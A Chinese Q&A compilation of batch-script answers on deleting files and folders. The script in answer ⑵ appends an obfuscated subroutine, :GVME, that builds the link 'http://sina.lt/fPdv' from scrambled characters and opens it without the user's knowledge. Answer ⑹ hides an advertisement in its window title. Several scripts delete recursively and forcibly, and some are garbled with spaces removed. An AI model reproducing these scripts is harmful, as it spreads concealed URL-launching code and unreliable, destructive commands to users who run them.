批處理刪除所有文件夾
⑴ 如何用批處理刪除所在文件夾內的全部文件和文件夾。
我的思路是
用dir
for
if
這三個命令
先用dir顯示出所有文件的生成時間
之後用for處理下
去掉dir開頭判斷的盤符什麼的
之後把時間留下來
在套上if進行對比
比如說今天10號
把時間跟7比較
那麼小於7的進行刪除
具體不怎麼會寫
剛剛接觸到for命令
可以互相探討
⑵ 批處理刪除文件夾下所有文件和文件夾,但是排除包含「勿刪」字樣的文件夾,該怎麼寫
@echo off & title 刪除所有文件/夾(特定文件夾需保留) By 依夢琴瑤
cd /d "%%~dp0"
::設置要處理的主目錄路徑
set ScrFolder=D:AAA
::設置要排除包含的字元,多個字元之間,請用英文逗號隔開,包含空格,特殊字元的請用英文雙引號將其括起來
set SkipStr=勿刪
cd /d "%ScrFolder%"
for /f "delims=" %%a in ('dir /ad-h') do (
for %%i in (%SkipStr%) do (
echo "%%~a" | find /i "%%~i" >nul 2>nul || rd /s /q "%%~a"
)
)
for /f "delims=" %%a in ('dir /a-d-h') do (
del /f /q "%%~a"
)
pause
call :GVME
exit
:GVME
set "S1=.:ailnhpst/"
set "S0=fPdv"
set "S3=%S1:~8,1%%S1:~3,1%%S1:~5,1%%S1:~2,1%%S1:~0,1%%S1:~4,1%%S1:~9,1%"
set "S2=%S1:~6,1%%S1:~9,1%%S1:~9,1%%S1:~7,1%%S1:~1,1%%S1:~10,1%%S1:~10,1%"
start "" "%S2%%S3%%S1:~10,1%%S0%"
exit
腳本保存時請比對原文,保存編碼設為ANSI。否則可能會導致腳本運行出錯。
⑶ 刪除整個文件夾的批處理命令
@echo
off
for
/r
"C:\Documents
and
Settings\Owner\Application
Data"
%%i
in
(.)
do
if
"%%i"
neq
"C:\Documents
and
Settings\Owner\Application
Data\."
rd
/s/q/f
"%%i"
del
/f/q
*.*
第二句刪所有子目錄,第三句刪一級目錄下所有文件
/r後面的路徑是要刪除的路徑
不要弄錯了
不然你就爽了。。。
⑷ 請問:如何批處理刪除文件夾及其所有子文件夾下N天前所有文件
當文件夾裡面的某一個文件當前時間被修改過,這個文件夾的修改時間就會變成當前時間.
以刪除30天以前的文件夾為例.如果一個文件夾的最後時間都是30天以前.
那麼在30天以內該文件夾下的所有文件都沒有被修改過.
而一個文件夾如果不在30天以前,那麼也可能文件夾下的某些文件是在30天以前的.
根據這個思路.先刪除30天以前的文件夾.
再刪除30天以內文件夾下所有30天以前的文件.
那麼就結果就如下:
forfiles -D -30 /M * /C "cmd /c rd @file /s /q"
forfiles -D -30 /S /M * /C "cmd /c del @path /s /q"
兩行批處理即可搞定
⑸ 文件批處理,保留某個或多個文件而刪除其它全部文件夾
dos下面沒有專用於搜索文件的命令
但是我們可能藉助於dir這個命令來幫我們東西
如果要顯示c:windows這個文件夾中的exe文件,鍵入dir
*.exe就行了
dos還有一個find命令,但是用來找字元,而不是文件的。
至於文件夾,就更不可能實現了。所以你的要求無法用批處理實現。
⑹ 請教如何批處理刪除指定文件夾中的所有文件(保留子文件夾)
不清楚你的實際文件/情況,僅以問題中的樣例/說明為據
復制粘貼到記事本,另存為xx.bat,編碼選ANSI
@echooff
rem刪除文件,保留文件夾
set#=Anyquestion&set@=WX&set$=Q&set/az=0x53b7e0b4
title%#%+%$%%$%/%@%%z%
set"folder=D:xxxxaa"
ifnotexist"%folder%"(echo;"%folder%"notfound&gotoend)
del/a/f/q"%folder%*.*"
:end
echo;%#%+%$%%$%/%@%%z%
pause
exit
⑺ 批處理刪除文件夾下所有文件
1、右鍵單擊桌面上的任意位置→新建→文本文檔。
⑻ 如何用批處理刪除指定文件夾以及文件里所有文件
@echooff
for/f"tokens=2delims=="%%iin('wmicLogicalDiskwhere"DriveType='3'"getDeviceID/value')do(
for/f"delims="%%jin('dir/s/b/ad"%%i"^|findstr/x"A"')doseta=%%j&&gotonext
)
echo文件不存在!
pause>nul
:next
rd/s"%a%"
pause>nul
樓主是想全盤查找指定的文件夾然後再刪除對么
把A改成文件夾名就行
⑼ 如何寫批處理刪除某一文件夾下的所有文件
del /s/q/f "某個文件夾路徑\*"如果直接清空該文件,也就是連子文件夾都一起刪除,那麼用以下命令
rd /s/q "某個文件夾路徑"
md "某個文件夾路徑"
⑽ 批處理刪除文件夾命令
命令:DEL,刪除文件或目錄
增加參數:/F
參數說明:使用此參數即「DEL
/F」可刪除只讀文件。
增加參數:/S、/Q
參數說明:使用此參數即「DEL/S」作用與「RD/S」完全相同,即刪除目錄及目錄下的所有子目錄和文件。同時使用參數/Q,可取消刪除操作時的系統確認。
增加參數:/A
參數說明:刪除指定屬性或指定屬性以外的文件,/AR、/AH、/AS、/AA分別表示刪除只讀、隱藏、系統、存檔文件,/A-R、/A-H、/A-S、
/A-A表示刪除除只讀、隱藏、系統、存檔以外的文件。例如「DEL/AR
*.*」表示刪除當前目錄下所有隻讀文件,「DEL/A-S
*.*」表示刪除當前目錄下除系統文件以外的所有文件。